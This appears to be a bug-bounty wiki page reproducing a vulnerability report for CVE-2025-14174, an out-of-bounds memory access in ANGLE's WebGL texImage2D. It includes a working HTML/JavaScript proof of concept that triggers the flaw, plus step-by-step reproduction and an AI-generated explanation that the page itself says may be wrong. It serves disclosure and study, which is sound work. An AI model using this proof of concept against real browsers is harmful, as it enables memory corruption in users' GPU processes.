Out of bounds memory access in ANGLE (CVE-2025-14174)
The WebGL texImage2D implementation failed to validate width and height against UNPACK_IMAGE_HEIGHT, allowing reads and writes outside the PIXEL_UNPACK_BUFFER. An attacker could trigger an out-of-bounds memory access in the GPU process via a depth texture initialisation shader.
Originally disclosed on Chrome VRP
- Fix shipped in 6 days
Steps to reproduce the problem
The following test case will trigger asserts in the GPU process if shader validation or the Metal debug layer is enabled. It creates a WebGL2 rendering context, sets the UNPACK_IMAGE_HEIGHT, and then calls texImage2D with parameters that cause a memory access violation.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Simple WebGL Example</title>
<style>
body {
margin: 0;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
background-color: #1a1a1a;
}
canvas {
border: 2px solid #444;
}
</style>
</head>
<body>
<canvas id="canvas" width="640" height="480"></canvas>
<script>
const canvas = document.getElementById('canvas');
const gl = canvas.getContext('webgl2');
console.log(`GL ERROR:${gl.getError()}`);
// Begin Bug
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 0x200 / 4);
console.log(`GL ERROR:${gl.getError()}`);
const unpackBufferData = new Uint32Array(0x400);
const unpackBuffer = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, unpackBuffer);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, unpackBufferData, gl.STATIC_DRAW);
let tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F, 1, 0x200, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
gl.flush();
console.log(`GL ERROR:${gl.getError()}`);
</script>
</body>
</html>
Problem Description
Apple has identified a security vulnerability in Angle. We're requesting that you address this issue with urgency and assign a CVE-ID.
Credit should go to: Apple Security Engineering and Architecture (SEAR) and Google Threat Analysis Group
Apple will be addressing this issue in our 26.2 aligned releases, currently planned to ship in the next week. We're happy to coordinate with you on the timing of our public advisory.
Please let us know the CVE-ID once assigned. If you have any more questions, you're welcome to contact Google TAG as well.
NOT A CONTRIBUTION: This report is provided for informational purposes and is not intended as a contribution. Any attached proof of concept code is provided under the MIT license.
Problem description: The WebGL implementation of texImage2D does not correctly validate its parameters. Specifically, it fails to validate the provided width and height against the UNPACK_IMAGE_HEIGHT parameter. This oversight can lead to an out-of-bounds memory access in the GPU process.
••Technical root cause:** The texImage2D function implementation is affected by UNPACK_IMAGE_HEIGHT. This allows a situation where data is read and written outside the bounds of the PIXEL_UNPACK_BUFFER, leading to an out-of-bounds memory read-write gadget via depth texture initialization shader (depthSaturate).
Summary
WebGL texImage2D Out-of-Bounds Memory Access via UNPACK_IMAGE_HEIGHT
Custom Questions
Reporter credit:
Apple Security Engineering and Architecture (SEAR) and Google Threat Analysis Group
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A \
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the texImage2D implementation did not validate the supplied width and height against UNPACK_IMAGE_HEIGHT, so the depth texture initialisation shader accessed memory outside the pixel unpack buffer.
Impact
An attacker could cause an out-of-bounds memory read-write in the GPU process, which may lead to a crash or memory corruption; the text does not claim full exploitability beyond that.
What the attacker needed
Victim loads a crafted web page; browser supports WebGL2
How it was found
- Create a WebGL2 rendering context on a canvas.
- Set UNPACK_IMAGE_HEIGHT to a chosen value with pixelStorei.
- Create and bind a pixel unpack buffer with data.
- Create and bind a 2D texture.
- Call texImage2D with a depth component format and a height matching the unpack image height.
- Flush and observe the GPU process assertion or memory access violation.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WebGL lets web pages draw 3D graphics using the graphics card. A function that uploads image data to the graphics card did not check that the requested size matched the buffer it was reading from, so it could read or write memory outside that buffer. This is dangerous because it can crash or corrupt the graphics process.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.